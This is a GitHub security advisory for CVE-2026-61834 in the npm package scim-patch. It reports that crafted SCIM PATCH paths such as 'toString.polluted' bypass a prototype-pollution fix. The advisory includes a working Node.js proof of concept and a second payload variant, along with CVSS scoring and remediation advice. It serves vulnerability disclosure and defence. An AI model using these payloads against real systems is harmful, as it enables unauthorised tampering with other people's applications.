Skip to content

scim-patch: Mutation of Inherited Built-in Method Objects

Moderate severity GitHub Reviewed Published Jun 24, 2026 in thomaspoignant/scim-patch • Updated Sep 28, 2026

Package

npm scim-patch (npm)

Affected versions

< 0.9.2

Patched versions

0.9.2

Description

Summary

Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects

scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.

An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.

Impact

A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.

Details

Affected code paths:

  • navigate() reads inherited properties via schema[subPath]
  • assign() uses key in obj, which treats inherited properties as existing

Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.

PoC

const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");

const victim = {
  schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
  userName: "alice",
  active: true,
  emails: [{ value: "alice@example.com", primary: true }],
  meta: { created: "x", lastModified: "x", resourceType: "User" }
};

try {
  assert.equal(({}).toString.scimPatchPolluted, undefined);

  scimPatch(victim, [
    { op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
  ]);

  assert.equal(({}).toString.scimPatchPolluted, "polluted");
  console.log(({}).toString.scimPatchPolluted);
} finally {
  delete Object.prototype.toString.scimPatchPolluted;
}

Output:

polluted

A no-path operation with a dotted value key is also affected:

scimPatch(victim, [
  { op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);

Remediation

Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.

Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.

References

Published by the National Vulnerability Database Sep 23, 2026
Published to the GitHub Advisory Database Sep 28, 2026
Reviewed Sep 28, 2026
Last updated Sep 28, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Learn more on MITRE.

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. Learn more on MITRE.

CVE ID

CVE-2026-61834

GHSA ID

GHSA-2mhw-wcx5-v3xj

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.